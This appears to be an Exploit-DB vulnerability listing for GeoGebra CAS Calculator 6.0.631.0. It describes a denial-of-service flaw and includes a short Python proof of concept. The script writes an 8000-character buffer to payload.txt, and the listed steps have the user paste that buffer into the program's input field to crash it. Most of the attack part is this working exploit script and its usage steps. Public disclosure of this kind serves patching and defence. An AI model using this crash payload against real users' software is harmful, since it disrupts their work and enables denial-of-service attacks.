header-logo
Suggest Exploit
vendor:
GeoGebra CAS Calculator
by:
Brian Rodriguez
5.5
CVSS
MEDIUM
Denial of Service
400
CWE
Product Name: GeoGebra CAS Calculator
Affected Version From: 6.0.631.0-offlinecas
Affected Version To: 6.0.631.0-offlinecas
Patch Exists: NO
Related CWE:
CPE: a:geogebra:geogebra_cas_calculator:6.0.631.0
Metasploit:
Other Scripts:
Platforms Tested: Windows 8.1 Pro
2021

GeoGebra CAS Calculator 6.0.631.0 – Denial of Service (PoC)

The GeoGebra CAS Calculator version 6.0.631.0 is vulnerable to a Denial of Service (DoS) attack. By providing a specially crafted payload.txt file as input, an attacker can cause the program to crash, resulting in a denial of service condition.

Mitigation:

Currently, there is no known patch or mitigation for this vulnerability. It is recommended to avoid opening untrusted payload.txt files or using the affected version of the software.
Source

Exploit-DB raw data:

# Exploit Title: GeoGebra CAS Calculato‪r‬ 6.0.631.0 - Denial of Service (PoC)
# Date: 2021-03-15
# Exploit Author: Brian Rodriguez
# Vendor Homepage: https://www.geogebra.org
# Software Link: https://www.geogebra.org/download
# Version: 6.0.631.0-offlinecas
# Tested on: Windows 8.1 Pro

# STEPS
# Open the program Calculadora CAS
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt in the field "Entrada..."
# Crashed

--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 8000

try:
    f = open("payload.txt","w")
    f.write(buffer)
    f.close()
    print ("File created")
except:
    print ("File cannot be created")